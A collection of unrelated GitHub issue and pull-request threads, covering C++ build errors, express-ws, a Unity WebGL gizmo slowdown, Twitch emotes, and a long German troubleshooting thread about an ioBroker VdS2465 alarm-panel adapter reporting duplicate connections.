      |             ^~~~~~
unix.cpp:10:1: note: ‘strcmp’ is defined in header ‘<cstring>’; did you forget to ‘#include <cstring>’?
    9 | #include <unistd.h>
  +++ |+#include <cstring>
   10 | #include <time.h>

Just add an #include <cstring> to it.

Corrigido !


text:
review usage of private keyword

to avoid errors due to scoping.
see here and here.

Fixed in d085ac9. Closing.


text:
part pictures incremental update

It should be possible to update the library of part pictures incrementally when new parts are available rather than having to re-render all the parts.

This is issue is with batchPictureGeneration.py, partviewer.py handles this properly.

Fixed now.

repo: HazenBabcock/opensdraw


text:
Config.INC Issue -  Need commented out

These two lines needs commented out. If not it throws an error. I would fix it but I am mobile right now.
https://github.com/HclX/WyzeHacks/blob/abbddbf44b543370d3ecf48d800238e326e75c9e/installer/config.inc.TEMPLATE#L10-L11

darn it, i keep forgetting this, will fix it tonight.

this is fixed in latest release (0.4.1).

authors: HclX thompatry

repo: HclX/WyzeHacks


text:
Use GitHub Markdown Alert Extension on README

GitHub's Markdown flavor has an alert extension. It's basically a fancy render for notes, tips, warnings and other advices on Markdown.
It looks like this

Thank you for this, I had no idea!

authors: Chadowo HellRok

repo: HellRok/Taylor


text:
Add support for delegated and downloadable events

The upcoming release will contain callback event types:

signature_request_downloadable
signature_request_delegated

One side effect with the current SDK is that if you have no deployed the latest version of the SDK, you will get deserialization errors when attempting to read the new EventType values.
java.lang.IllegalArgumentException: No enum constant com.hellosign.sdk.resource.support.types.EventType.signature_request_downloadable
	at java.lang.Enum.valueOf(Enum.java:238) ~[na:1.8.0_74]
	at com.hellosign.sdk.resource.support.types.EventType.valueOf(EventType.java:27) ~[hellosign-java-sdk-4.0.2.jar:na]
	at com.hellosign.sdk.resource.Event.getType(Event.java:280) ~[hellosign-java-sdk-4.0.2.jar:na]
	at com.hellosign.sdk.resource.Event.<init>(Event.java:73) ~[hellosign-java-sdk-4.0.2.jar:na]
	at com.hubspot.partnerdb.service.resources.v1.HelloSignWebhookResource.handleEventCallback(HelloSignWebhookResource.java:57) ~[PartnerDbService-1.0-SNAPSHOT.jar:na]
	at com.yammer.metrics.guice.TimedInterceptor.lambda$forMethodSync$0(TimedInterceptor.java:42) ~[metrics-guice-1.0-hubspot-20161115.214657-19.jar:na]
	at sun.reflect.GeneratedMethodAccessor462.invoke(Unknown Source) ~[na:na]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_74]
	at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_74]

@mveitas Yes, definitely update to 4.0.3 when possible. I've made changes to the SDK to avoid this throwing the above exception when this occurs in the future. Apologies for any inconvenience!

authors: cmpaul mveitas

repo: HelloFax/hellosign-java-sdk


text:
Forward return value from http.Server's listen() to allow chaining

When using express without express-ws, the following works:
const port = 80;
app
  .listen(port)
  .on('listening', () => {
    console.log(`listening on port ${port}...`);
  });

Patching express with express-ws breaks this, because listen() now returns undefined. For express' implementation of listen(), see here.
This PR simply forwards the return value from server.listen() to allow chaining calls again.

Hi @maxtruxa,
I agree that this is the way it should have worked all along. Didn't intend to change this behavior. Thanks a lot for fixing it! Merging right away.

authors: HenningM maxtruxa

repo: HenningM/express-ws


text:
Create exercise_06_07.c

Thanks for doing this repo.  I currently reading through the book and have found it helpful to check my answers with yours.  Found a bug in this code that results in getting a lot of numbers listed as prime that are not prime.  The problem is you have j++ after the 2nd while loop which results in that 2nd while loop never being used again.  Your first time through the 2nd while loop i = 2 and the loop stops when j=75 as 275 = 150.  So the while loop ends and you increment i up to 3.  But you also increment j so you get j = 76.   The next time through the while loop you then have 376 which is greater than 150 so the while loop will never again be used.  9 for instance is listed as a prime number, but if you just change j=i after you increment i then you get the desired result.  But again big thanks for doing this repo.  Best, Kevin

Ok thanks will have a look at your version asap
On 8 Jun 2017 18:44, "Kevin Clauson" notifications@github.com wrote:

Thanks for doing this repo. I currently reading through the book and have
found it helpful to check my answers with yours. Found a bug in this code
that results in getting a lot of numbers listed as prime that are not
prime. The problem is you have j++ after the 2nd while loop which results
in that 2nd while loop never being used again. Your first time through the
2nd while loop i = 2 and the loop stops when j=75 as 275 = 150. So the
while loop ends and you increment i up to 3. But you also increment j so
you get j = 76. The next time through the while loop you then have 376
which is greater than 150 so the while loop will never again be used. 9 for
instance is listed as a prime number, but if you just change j=i after you
increment i then you get the desired result. But again big thanks for doing
this repo. Best, Kevin
You can view, comment on, or merge this pull request online at:
https://github.com/HenrikSamuelsson/Programming-in-C/pull/1
Commit Summary

Create exercise_06_07.c

File Changes

M Exercises/Chapter_06/Exercise_07/exercise_06_07.c
https://github.com/HenrikSamuelsson/Programming-in-C/pull/1/files#diff-0
(3)

Patch Links:

https://github.com/HenrikSamuelsson/Programming-in-C/pull/1.patch
https://github.com/HenrikSamuelsson/Programming-in-C/pull/1.diff

—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/HenrikSamuelsson/Programming-in-C/pull/1, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AFGuRqhDdHHCOIhmidq5s_ex-fbozhyfks5sCCT-gaJpZM4N0VYR
.

authors: HenrikSamuelsson KevinClauson

repo: HenrikSamuelsson/Programming-in-C


text:
Logical Interconnect Group

Added idempotence support to actions
Added tests
Polished examples

:memo: Note: These changes are not needed to be added into the README or CHANGELOG

So now we have two options:

Leave it as is until we have the like? overriden in the SDK
Remove it and treat it as an issue in the SDK

The first option leaves the code undone since we will still need to remove the comparisons in the future, and the second option leaves the code done since it will be the "final" version of it.
@jsmartt @hdiomede  What do you think?

I'd vote for less work in the future. Remove it and open an SDK issue. This is partly because I'm not confident in my ability to remember to remove it later on :confused:

:+1:

authors: hdiomede jsmartt tmiotto

repo: HewlettPackard/oneview-chef


text:
Modified emotes sent by the user don't appear as emotes

Describe the bug
I unlocked (with channel points) a modified version of my emote today.  When I sent it with YaTA, it didn't appear as an e-mote.  However, when other people in chat posted it, it would show up as an e-mote correctly.
To Reproduce
Steps to reproduce the behavior:

Redeem channel points to modify one of the emotes in the channel you're reading in YaTA.
Type the modified emote code.

Expected behavior
The emote should appear in place of the modified emote code.
Screenshots

Left is YaTA, right is pop-out ordinary Twitch chat.
Environment

Software
Version

YaTA
1.13.3

Browser
Firefox 76.0

Operating System
Windows NT 10.0

In the YaTA window, the emote actually showed up the third time I posted "rhymu8EJ_SO" in chat.  I believe this was because I posted it from the ordinary Twitch chat before popping it out (which resets the chat there).  So please refer only to the last two lines: first was from me, posted from YaTA, while second was from asquared31415

Thanks for the detailed report.
This is a "known issue". Currently, emotes are mostly fetched using 2 APIs:

https://dev.twitch.tv/docs/v5/reference/chat/#get-chat-emoticons-by-set

Gets all chat emoticons (not including their images) in one or more specified sets.

https://dev.twitch.tv/docs/v5/reference/users/#get-user-emotes

Gets a list of the emojis and emoticons that the specified user can use in chat. These are both the globally available ones and the channel-specific ones (which can be accessed by any user subscribed to the channel).

Note: the second one is already a workaround to the first one being totally buggy.
Unfortunately, none of these endpoints will include modified emotes redeemed with channel points ¯\(ツ)/¯
So, afaik (and would love to be wrong, feel free to re-open if that's the case), there is no way to provide this feature when sending a modified emote redeemed with channel points.

repo: HiDeoo/YaTA


text:
Add list_context() method

I'd like to be able to list all the contexts in the runtime, this method adds that capability.

Thanks @only-cliches !

authors: andrieshiemstra only-cliches


text:
Web GL performance

Good evening,
I've integrated the gizmo into my project (just need it for a simple use case) and everything works just fine while trying it out in the Unity Editor... however, when I built the project (it's a WebGL project), the moment the Gizmo shows up fps just drop like crazy making the app unusable. While testing on the editor, the performance hit is minimal, maybe 0.1-0.2 ms.
Any clue what might be causing that? I'm kind of clueless to be honest.
Thanks.

hey =), not sure, but maybe its related to the problem this person posted relating to GL class on WebGL https://forum.unity.com/threads/webgl-build-performance-issue-after-upgrade-to-2018-3.678658/
Does trying this on an earlier version of unity remove the lag?
I did add the ability to use your own meshes for the gizmo instead of using the GL lines, but it was just quickly put together so it might not be great or have all the features.
You would need to use the TransformGizmoCustomGizmo https://github.com/HiddenMonk/Unity3DRuntimeTransformGizmo/blob/master/Assets/RuntimeGizmo/Custom/TransformGizmoCustomGizmo.cs
I gave a full example in a zip file that can be found here, but its not up to date https://github.com/HiddenMonk/Unity3DRuntimeTransformGizmo/tree/customGizmo
However, ideally we would want to know if this is something unity did and if there is a way to fix it.

Thank you very much for your reply.
I tried using the custom gizmos and it works just fine, so you were right, it was the use of the GL class.
There is one weird thing though: there is another part of the project where I use GL lines and they are causing no problems whatsoever.
Perhaps your use of GL is kind of intensive? or you're using it in a more advanced way (calling other functions) that causes the compatibility issue?

I dont think I am doing anything too crazy, but my knowledge on this isnt much =(, maybe post your gl code if its not much so we can see if I am doing anything extra that might not be needed.

I am facing the same issue in a webgl project. the frame rate drops to 1-2 fps using Unity 2019.1.7 and 2019.2.3

Hey, I had the same problem and I fixed it by writing this: if (lines.Count == 0) return; at the start of the following functions:
void DrawLines(List<Vector3> lines, Color color)
void DrawTriangles(List<Vector3> lines, Color color)
void DrawQuads(List<Vector3> lines, Color color)
void DrawCircles(List<Vector3> lines, Color color)
So you don't do a GL.Begin if there is no need to.
This functions are at the end of the script TransformGizmo.cs
Hope this helps :)

works super smooth in WebGL build as of 2020.2. Awesome job! Thank you!

authors: Animakozak CarlosCabarcos DaniloCCP HiddenMonk null-web


text:
Is it possible to show content I built in my interface builder?

Is it possible to do something like this through PageMenu? I have my view controllers set up which have scrolling and multiple rows in it. I have built all this through the interface builder and auto layout.
So can I use PageMenu for this as all I can see right now is a black screen even when I added few labels to the view controllers in the storyboard. Any suggestions are welcome!

You can add Navigationbar as childview.

authors: ameyavichare uyghurbeg

repo: HighBay/PageMenu


text:
Added the hover effects in footer

Fixed issue #435
https://github.com/user-attachments/assets/3b532b27-be2d-4cd2-917d-19028238a7c7

Resolve Conflicts @Riddhi162

@PSS2134 added the effect everywhere


text:
重构项目

重新设计架构（类MVVC）

优化代码（基本减少了100%的垃圾代码）

哇


text:
大佬咱们后续能支持比如饭太硬这种接口类型吗？

http://饭xx.top/tv  类似这种聚合的

支持提议

大佬已回复过不会支持tvbox

大佬已回复过不会支持tvbox

我看不是支持吗？不过没用过

大佬已回复过不会支持tvbox

 我看不是支持吗？不过没用过

饭太硬这种的接口格式不支持，所以不能直接拿来用

大佬已回复过不会支持tvbox

 我看不是支持吗？不过没用过

我安装好没有“一键配置”呢？

tvbox不是主流的接口吗，为啥后续不支持

统一回复：技术架构和方向不同

authors: Hiram-Wong Ucopyrightable cooldcc dqzboy murazi npljy smalllh wenjialu82

repo: Hiram-Wong/ZyPlayer


text:
Identnumber already connected

Seit dem Update auf 0.14 (davor habe ich das nicht gesehen) bekomme ich die Meldung
"Identnumber xy already connected"
Telenot 400 mit Telenot ComXline 2516.
Das setzen auf "Debug" hat narürlich ein zurücksetzen bewirkt. Ich halte dich auf dem laufenden, wann das wieder passiert. Oder sollte ich einen täglichen Restart des Adapters einstellen?

Es ist nach ca. 16h wieder aufgetreten. Hier ist die Debug-Meldung (KEY und KEYN habe ich überschrieben):
`

vds2465-server.0
2023-01-26 15:30:40.311
warn
Identnummer 240477 schon verbunden!

vds2465-server.0
2023-01-26 15:30:40.311
debug
connect ID: 240477

vds2465-server.0
2023-01-26 15:30:40.198
debug
AE: Geraet uebernommen: {"identnr":"240477","stehend":false,"keynr":KEYN,"key":"KEY"}

vds2465-server.0
2023-01-26 15:30:40.198
debug
Verbindung von 192.168.178.230:52073

vds2465-server.0
2023-01-26 15:30:38.403
debug
disconnect ID: 240477

vds2465-server.0
2023-01-26 15:30:38.402
debug
connection from 192.168.178.230:52072 closed

vds2465-server.0
2023-01-26 15:30:38.304
debug
Daten von: 240477

vds2465-server.0
2023-01-26 15:30:38.304
debug
AE: {"Satz_2":{"RawData":"05020014000140","Typ":"Meldung Zustandsaenderung","Geraet":0,"Bereich":0,"Adresse":20,"Adresszusatz":0,"Adresserweiterung":"Eingang","Meldungsart":64},"Satz_24":{"RawData":"082400000001fffff7ff","Typ":"Blockstatus"},"Satz_50":{"RawData":"07501714011a0f1c27","Typ":"Datum und Uhrzeit","Value":"2023-01-26T14:28:39.000Z"},"Satz_51":{"RawData":"1851544e5420636f6d586c696e652032353136205632382e3639","Typ":"Herstelleridentifikation","Value":"TNT comXline 2516 V28.69"},"Satz_56":{"RawData":"0356424077","Typ":"Identnummer","Value":"240477"},"Satz_61":{"RawData":"016190","Typ":"Transportdienstkennung","Value":"TCP/IP-Intranet-Uebertragung"}}

vds2465-server.0
2023-01-26 15:30:38.304
warn
Identnummer 240477 schon verbunden!

vds2465-server.0
2023-01-26 15:30:38.304
debug
connect ID: 240477

vds2465-server.0
2023-01-26 15:30:38.194
debug
AE: Geraet uebernommen: {"identnr":"240477","stehend":false,"keynr":KEYN,"key":"KEY"}

vds2465-server.0
2023-01-26 15:30:38.194
debug
Verbindung von 192.168.178.230:52072

vds2465-server.0
2023-01-26 15:30:32.092
debug
disconnect ID: 240477

vds2465-server.0
2023-01-26 15:30:32.091
debug
connection from 192.168.178.230:52071 closed

vds2465-server.0
2023-01-26 15:30:32.008
debug
Daten von: 240477

`

Gleiches Verhalten unter 0.13
Verbindunhg mal auf "stehend" im Adapter geändert. Mal gucken.

Ich glaube, ich hab das Problem schon Identifiziert.
26.01.2023 21:47:37 OberfragGER @.***>:

Gleiches Verhalten unter 0.13
Verbindunhg mal auf "stehend" im Adapter geändert. Mal gucken.
—
Reply to this email directly, view it on GitHub[https://github.com/Hirsch-DE/ioBroker.vds2465-server/issues/2#issuecomment-1405630280], or unsubscribe[https://github.com/notifications/unsubscribe-auth/AKOH2IZ663DLZ6MUHC5HI43WULPGPANCNFSM6AAAAAAUG2SXOU].
You are receiving this because you are subscribed to this thread.[Verfolgungsbild][https://github.com/notifications/beacon/AKOH2IZDY45BK2QJUCX2UULWULPGPA5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTSTZA3UQ.gif]

sollte mit Version 0.1.5 erledigt sein

Sorry. Ist mit 0.15 immer noch da.

Kann ich irgendwelche ergänzende Infos beisteuern?

kann es sein, dass das Wählgerät wirklich zwei Verbindungen gleichzeitig aufbaut.
Vielleicht mal auf Betriebssystem mit befehl "netstat -an" schauen, ob die gleiche ip-Adresse vom Wählgerät mit dem Zielport des Adapters verbunden ist.
29.01.2023 13:17:40 OberfragGER @.***>:

Sorry. Ist mit 0.15 immer noch da.
[https://user-images.githubusercontent.com/28652993/215325537-1d01b4b3-d019-4918-a056-5748d5114779.png][image][https://user-images.githubusercontent.com/28652993/215325537-1d01b4b3-d019-4918-a056-5748d5114779.png]
[https://user-images.githubusercontent.com/28652993/215325567-51e491ae-0e4f-48eb-9004-d72cc7b1baee.png][image][https://user-images.githubusercontent.com/28652993/215325567-51e491ae-0e4f-48eb-9004-d72cc7b1baee.png]
Kann ich irgendwelche ergänzende Infos beisteuern?
—
Reply to this email directly, view it on GitHub[https://github.com/Hirsch-DE/ioBroker.vds2465-server/issues/2#issuecomment-1407647986], or unsubscribe[https://github.com/notifications/unsubscribe-auth/AKOH2IZB74TJ6SRF4VCJQXLWUZNWFANCNFSM6AAAAAAUG2SXOU].
You are receiving this because you modified the open/close state.[Verfolgungsbild][https://github.com/notifications/beacon/AKOH2I72ASKUCPCAZZ4XPG3WUZNWFA5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTST44APE.gif]

netstat -an

Ich habe jetzt ersteinmal wieder den Haken bei "stehend" rausgenommen.
Dadurch läufts ja erstmal wiedre ohne Warnings.
Sobald es wieder doppelt ist, mache ich das und poste den Codesnipsel dann hier.

stehend sollte bei einer stehenden Verbindung aktiviert bleiben. Damit wird bei der Kommunikation mit dem Wählgerät der Satztyp 0xff gesteuert (Verbindung wird nicht mehr benötigt). Soll bei bedarfgesteuerter Verbindung dem gegenüber mitteilen, dass keine weiteren Meldungen vorhanden sind.
29.01.2023 13:42:17 OberfragGER @.***>:

netstat -an
Ich habe jetzt ersteinmal wieder den Haken bei "stehend" rausgenommen.
Dadurch läufts ja erstmal wiedre ohne Warnings.
Sobald es wieder doppelt ist, mache ich das und poste den Codesnipsel dann hier.
—
Reply to this email directly, view it on GitHub[https://github.com/Hirsch-DE/ioBroker.vds2465-server/issues/2#issuecomment-1407653407], or unsubscribe[https://github.com/notifications/unsubscribe-auth/AKOH2I732COONTAEAQSKOETWUZQSRANCNFSM6AAAAAAUG2SXOU].
You are receiving this because you modified the open/close state.[Verfolgungsbild][https://github.com/notifications/beacon/AKOH2I33WBJN3SQH2J2YONTWUZQSRA5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTST44LB6.gif]

ist die Verbindung im Wählgerät stehend, oder bedarfsgesteuert?
Nach dem ändern der Einstellung wird ja alles zurückgesetzt, auch alle Verbindungen.
29.01.2023 13:57:59 Thomas Hirschfeld @.***>:

stehend sollte bei einer stehenden Verbindung aktiviert bleiben. Damit wird bei der Kommunikation mit dem Wählgerät der Satztyp 0xff gesteuert (Verbindung wird nicht mehr benötigt). Soll bei bedarfgesteuerter Verbindung dem gegenüber mitteilen, dass keine weiteren Meldungen vorhanden sind.
29.01.2023 13:42:17 OberfragGER @.***>:

netstat -an
Ich habe jetzt ersteinmal wieder den Haken bei "stehend" rausgenommen.
Dadurch läufts ja erstmal wiedre ohne Warnings.
Sobald es wieder doppelt ist, mache ich das und poste den Codesnipsel dann hier.
—
Reply to this email directly, view it on GitHub[https://github.com/Hirsch-DE/ioBroker.vds2465-server/issues/2#issuecomment-1407653407], or unsubscribe[https://github.com/notifications/unsubscribe-auth/AKOH2I732COONTAEAQSKOETWUZQSRANCNFSM6AAAAAAUG2SXOU].
You are receiving this because you modified the open/close state.[Verfolgungsbild][https://github.com/notifications/beacon/AKOH2I33WBJN3SQH2J2YONTWUZQSRA5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTST44LB6.gif]

ist die Verbindung im Wählgerät stehend, oder bedarfsgesteuert? Nach dem ändern der Einstellung wird ja alles zurückgesetzt, auch alle Verbindungen. 29.01.2023 13:57:59 Thomas Hirschfeld @.>:
…
stehend sollte bei einer stehenden Verbindung aktiviert bleiben. Damit wird bei der Kommunikation mit dem Wählgerät der Satztyp 0xff gesteuert (Verbindung wird nicht mehr benötigt). Soll bei bedarfgesteuerter Verbindung dem gegenüber mitteilen, dass keine weiteren Meldungen vorhanden sind. 29.01.2023 13:42:17 OberfragGER @.>: > netstat -an > > Ich habe jetzt ersteinmal wieder den Haken bei "stehend" rausgenommen. > Dadurch läufts ja erstmal wiedre ohne Warnings. > > Sobald es wieder doppelt ist, mache ich das und poste den Codesnipsel dann hier. > > — > Reply to this email directly, view it on GitHub[#2 (comment)], or unsubscribe[https://github.com/notifications/unsubscribe-auth/AKOH2I732COONTAEAQSKOETWUZQSRANCNFSM6AAAAAAUG2SXOU]. > You are receiving this because you modified the open/close state.[Verfolgungsbild][https://github.com/notifications/beacon/AKOH2I33WBJN3SQH2J2YONTWUZQSRA5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTST44LB6.gif] >

Ich hab keine Ahnung. Da ich kein Errichter bin, würde eine Umstellung jedes mal kostenpflichtig. Ich bin der meinung "nicht stehend". Ich hab mit dem Techniker zusammen den Adapter eingerichtet (da von seinem Rechner copy&paste des Schlüssels am einfachsten war) und er hat sehr zielstrebig das Häcken NICHT bei stehend gesetzt.
Problem ist wieder da.
ich hab den Inhalt von netstat -an mal auf pastebin hochgeladen.
https://pastebin.com/yTDsH5Xx
IP des ioBroker = 192.168.178.15
IP der ComXLine 2516 = .230
Port = Standardport 4100

Hallo,
bitte mal die aktuelle Version von GitHub installieren (0.1.6). Dort habe ich beim der Prüfung ein paar debug-Informationen erweitert.
iobroker-Admin -> Adapter -> Expertenmodus aktivieren -> Katzensymbol -> von Githab -> VdS2465-server auswählen
Bitte mal die log dann Posten.
Danke.
Schönen Abend
Thomas

also laut protokoll habe ich nicht alle Einträge nach dem Neustart des Adapters. Es gibt laut dem Protokoll eine Verbindung, welche vorher schon steht. Das kannst Du daran erkennen, das die Einträge nach "Gespeichert:" diese sind, welche als aktive Verbindungen gespeichert sind!
30.01.2023 21:22:07 OberfragGER @.***>:

Hallo, bitte mal die aktuelle Version von GitHub installieren (0.1.6). Dort habe ich beim der Prüfung ein paar debug-Informationen erweitert. iobroker-Admin -> Adapter -> Expertenmodus aktivieren -> Katzensymbol -> von Githab -> VdS2465-server auswählen Bitte mal die log dann Posten. Danke. Schönen Abend Thomas
Das ging fix. Hier ist das pastebin.
https://pastebin.com/rGUzFP3y
—
Reply to this email directly, view it on GitHub[https://github.com/Hirsch-DE/ioBroker.vds2465-server/issues/2#issuecomment-1409280224], or unsubscribe[https://github.com/notifications/unsubscribe-auth/AKOH2IY2IEOOQ72BYVLNDI3WVAPG5ANCNFSM6AAAAAAUG2SXOU].
You are receiving this because you modified the open/close state.[Verfolgungsbild][https://github.com/notifications/beacon/AKOH2I7Z5K7RP42GWYL2ECDWVAPG5A5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTST77UOA.gif]

also laut protokoll habe ich nicht alle Einträge nach dem Neustart des Adapters. Es gibt laut dem Protokoll eine Verbindung, welche vorher schon steht. Das kannst Du daran erkennen, das die Einträge nach "Gespeichert:" diese sind, welche als aktive Verbindungen gespeichert sind! 30.01.2023 21:22:07 OberfragGER @.***>:
…
Hallo, bitte mal die aktuelle Version von GitHub installieren (0.1.6). Dort habe ich beim der Prüfung ein paar debug-Informationen erweitert. iobroker-Admin -> Adapter -> Expertenmodus aktivieren -> Katzensymbol -> von Githab -> VdS2465-server auswählen Bitte mal die log dann Posten. Danke. Schönen Abend Thomas Das ging fix. Hier ist das pastebin. https://pastebin.com/rGUzFP3y — Reply to this email directly, view it on GitHub[#2 (comment)], or unsubscribe[https://github.com/notifications/unsubscribe-auth/AKOH2IY2IEOOQ72BYVLNDI3WVAPG5ANCNFSM6AAAAAAUG2SXOU]. You are receiving this because you modified the open/close state.[Verfolgungsbild][https://github.com/notifications/beacon/AKOH2I7Z5K7RP42GWYL2ECDWVAPG5A5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTST77UOA.gif]

Okay. Hab dich missverstanden. Ich hab den Adapter mal um 21:55 neu gestartet und warte nun. Poste dann das Update.

Ja, da ich sehen will, ob gleich nach dem Neustart sich das Wählgerät direkt verbunden hat.
31.01.2023 15:41:29 OberfragGER @.***>:

also laut protokoll habe ich nicht alle Einträge nach dem Neustart des Adapters. Es gibt laut dem Protokoll eine Verbindung, welche vorher schon steht. Das kannst Du daran erkennen, das die Einträge nach "Gespeichert:" diese sind, welche als aktive Verbindungen gespeichert sind! 30.01.2023 21:22:07 OberfragGER /@/.***>:
…[#]
Hallo, bitte mal die aktuelle Version von GitHub installieren (0.1.6). Dort habe ich beim der Prüfung ein paar debug-Informationen erweitert. iobroker-Admin -> Adapter -> Expertenmodus aktivieren -> Katzensymbol -> von Githab -> VdS2465-server auswählen Bitte mal die log dann Posten. Danke. Schönen Abend Thomas Das ging fix. Hier ist das pastebin. https://pastebin.com/rGUzFP3y — Reply to this email directly, view it on GitHub[#2 (comment)[https://github.com/Hirsch-DE/ioBroker.vds2465-server/issues/2#issuecomment-1409280224]], or unsubscribe[https://github.com/notifications/unsubscribe-auth/AKOH2IY2IEOOQ72BYVLNDI3WVAPG5ANCNFSM6AAAAAAUG2SXOU]. You are receiving this because you modified the open/close state.[Verfolgungsbild][https://github.com/notifications/beacon/AKOH2I7Z5K7RP42GWYL2ECDWVAPG5A5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTST77UOA.gif]
Seit heute gegen 11 Uhr kamen dann plötzlich wieder die Warnings.
Brauchst du das GANZE Log von gestern 21:55 Uhr bis heute um 11 wo die Fehler wieder auftraten?
—
Reply to this email directly, view it on GitHub[https://github.com/Hirsch-DE/ioBroker.vds2465-server/issues/2#issuecomment-1410481828], or unsubscribe[https://github.com/notifications/unsubscribe-auth/AKOH2I7OZ3DU5GTIDTRS4WDWVEQBPANCNFSM6AAAAAAUG2SXOU].
You are receiving this because you modified the open/close state.[Verfolgungsbild][https://github.com/notifications/beacon/AKOH2I4TSSVE2CAJV7N5YLLWVEQBRA5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTSUCI7KI.gif]

Ja, da ich sehen will, ob gleich nach dem Neustart sich das Wählgerät direkt verbunden hat. 31.01.2023 15:41:29 OberfragGER @.***>:

Wie kann ich dich per Mail, Chat oder so erreichen? Dann schick ich dir eine Mail mit den Logs. Alles andere manuell rauszuwerfen würde m.E. seehr lange dauern. Und ich mag das ungern übers Internet teilen. Wer weiss was da sonst so im Log drin steht.

Du kannst an die Mail-Adresse aus der Readme das log schicken.
31.01.2023 16:41:39 OberfragGER @.***>:

Ja, da ich sehen will, ob gleich nach dem Neustart sich das Wählgerät direkt verbunden hat. 31.01.2023 15:41:29 OberfragGER /@/.***>:
Wie kann ich dich per Mail, Chat oder so erreichen? Dann schick ich dir eine Mail mit den Logs. Alles andere manuell rauszuwerfen würde m.E. seehr lange dauern. Und ich mag das ungern übers Internet teilen. Wer weiss was da sonst so im Log drin steht.
—
Reply to this email directly, view it on GitHub[https://github.com/Hirsch-DE/ioBroker.vds2465-server/issues/2#issuecomment-1410613817], or unsubscribe[https://github.com/notifications/unsubscribe-auth/AKOH2I76WAYN7RJJW4PUNXLWVEXDFANCNFSM6AAAAAAUG2SXOU].
You are receiving this because you modified the open/close state.[Verfolgungsbild][https://github.com/notifications/beacon/AKOH2I2GAOJJ7M5KOKGODP3WVEXDFA5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTSUCRBDS.gif]

Hallo,
das ist wirklich komisch. Bei Deiner Anlage ist eine stehende Verbindung eine bessere Wahl, bei den ganzen Meldungen die Übertragen werden. Dabei kann man im Wählgerät die Störungsmeldung zur EMA bei Unterbrechung zu ioBroker deaktivieren.
Teste aber mal wieder über GitHub die Version 0.1.7, da habe ich bei diesem Problem eine kurze Pause einprogrammiert.
MfG
Thomas

Moin,
die 0.17 ist installiert. Sobald der Techniker wiederkommt, werde ich dann in der Anlage auf „stehend“ umschalten lassen. Die Bewegungsmeldung im Keller, EG und OG verursachen halt auch jede Menge. Denke mal da kommt der Hauptteil des Traffic her.
Ich habe den Setz „Dabei kann man im Wählgerät die Störungsmeldung zur EMA bei Unterbrechung zu ioBroker deaktivieren.“ nicht verstanden bzw. weiss nicht was du mir damit sagen möchtest. Meinst du damit:
Wenn es ein Störung der stehenden Verbindung gibt, kann man die dabei entstehenden Störungsmeldung im ioBroker deaktivieren?
Jetzt schaun wir mal. Ich meld mich was ich so beobachte.
VG
Michael
Von: Thomas Hirschfeld @.>
Gesendet: Freitag, 3. Februar 2023 20:31
An: Hirsch-DE/ioBroker.vds2465-server @.>
Cc: OberfragGER @.>; Author @.>
Betreff: Re: [Hirsch-DE/ioBroker.vds2465-server] Identnumber already connected (Issue #2)
Hallo,
das ist wirklich komisch. Bei Deiner Anlage ist eine stehende Verbindung eine bessere Wahl, bei den ganzen Meldungen die Übertragen werden. Dabei kann man im Wählgerät die Störungsmeldung zur EMA bei Unterbrechung zu ioBroker deaktivieren.
Teste aber mal wieder über GitHub die Version 0.1.7, da habe ich bei diesem Problem eine kurze Pause einprogrammiert.
MfG
Thomas
—
Reply to this email directly, view it on GitHub https://github.com/Hirsch-DE/ioBroker.vds2465-server/issues/2#issuecomment-1416313036 , or unsubscribe https://github.com/notifications/unsubscribe-auth/AG2TLQKUHU3HE5XCBSE4SALWVVMHZANCNFSM6AAAAAAUG2SXOU .
You are receiving this because you authored the thread.  https://github.com/notifications/beacon/AG2TLQOPP43U7RPOAAV6ORTWVVMHZA5CNFSM6AAAAAAUG2SXOWWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTSUNM4MY.gif Message ID: @.*** @.***> >

Im Wählgerät wird bei Unterbrechung einer stehenden Verbindung das Störungsrelais aktiviert, was zur Störungsanzeige in der EMA führt. Da kann man unterbinden!
03.02.2023 21:11:21 OberfragGER @.***>:

Moin,
die 0.17 ist installiert. Sobald der Techniker wiederkommt, werde ich dann in der Anlage auf „stehend“ umschalten lassen. Die Bewegungsmeldung im Keller, EG und OG verursachen halt auch jede Menge. Denke mal da kommt der Hauptteil des Traffic her.
Ich habe den Setz „Dabei kann man im Wählgerät die Störungsmeldung zur EMA bei Unterbrechung zu ioBroker deaktivieren.“ nicht verstanden bzw. weiss nicht was du mir damit sagen möchtest. Meinst du damit:
Wenn es ein Störung der stehenden Verbindung gibt, kann man die dabei entstehenden Störungsmeldung im ioBroker deaktivieren?
Jetzt schaun wir mal. Ich meld mich was ich so beobachte.
VG
Michael
Von: Thomas Hirschfeld @.>
Gesendet: Freitag, 3. Februar 2023 20:31
An: Hirsch-DE/ioBroker.vds2465-server @.>
